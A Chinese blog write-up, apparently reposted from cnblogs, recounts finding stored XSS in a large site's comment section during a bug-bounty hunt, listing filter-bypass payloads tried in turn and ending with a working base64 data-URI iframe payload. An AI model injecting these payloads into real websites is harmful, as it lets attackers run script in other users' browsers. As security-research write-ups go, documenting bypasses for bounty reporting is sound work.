存储型XSS的发现经历和一点绕过思路

再次骚扰

某SRC提现额度竟然最低是两千,而已经有750的我不甘心呐,这不得把这2000拿出来嘛。

之后我就疯狂的挖这个站,偶然发现了一个之前没挖出来的点,还有个存储型XSS!

刚开始来到这个之前挖过但没挖出来的站,看了一下感觉这站没啥东西了啊,然后来到评论区又一次测试了一下

先简单测试一下

心态:随意吧

<img src=0>

1554976523867.png

结果是一空的,啥也没有

15661768106441566176825142


普通的没用肯定是过滤了,想着直接抓包测试吧更快些

抓包后发现编码过

编码后:%3Cimg+src%3D%22javascript%3Aalert('XSS')%22%3E

编码前:<img src="javascript:alert('XSS')">

有个javascript肯定是会拦截的,毕竟是大厂嘛

1566177095916

然后直接手打吧,去掉javascript

空格用+来表示吧 <img+src=0>

1566177456644

1566178037024

虽然是空的,但是发现源码中是存在img的但是被转义了,还是有些转机的^_^

1566178114084

心态:有点小郁闷

来尝试绕过转义

%00 代替空格

<img%00src=0%00>

1566180531258

继续绕过

<img#src=0>

1566180598074

再来!

<img/src=0>

1566180660845

有转机啊!可以看到 / 被转移成空格了

心态:兴奋

直接上 <img/src=0/onerror=alert(/xss/)>

1566180846867

可惜,被拦截了,应该是关键字alert接触()就拦截,onerror接触=就拦截

绕过一下,加空格和 %00 会被转义,试着用 / 来空格,alerttop['alert']来代替

但是!不顶用啊

心态:失落

1566187168220

用过 /**/ %00 大小写 eval 等 常用的都被干掉了,结束了?!

这不一定要用 <img> 啊,来试试 <iframe>

1566187479760

心态:!!!柳暗花明又一村

15661873830051566187415808

接下来直接上吧,script标签肯定用不了了

试试 <iframe/src=vbscript:msgbox(123)></iframe>

1566188034527

能写进去但是好像执行不了,继续绕

心态:坚持,执着,绞尽脑汁

试了各种绕的方法,突然想到 明着不行,那就来暗的

明码不行,那就试试base64编码后的看看它会拦截不

<script>alert(/xss/)</script> 编码一下

1566188225075

来直接上Payload <iframe/src=data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=></iframe>

1566189616494

1566189522081

15661895475701566189559975

完美大功告成!!这个套路我在这个站足足挖到3个存储XSS,还是很开心的!_

原文地址:https://www.cnblogs.com/r0ckysec/p/11406726.html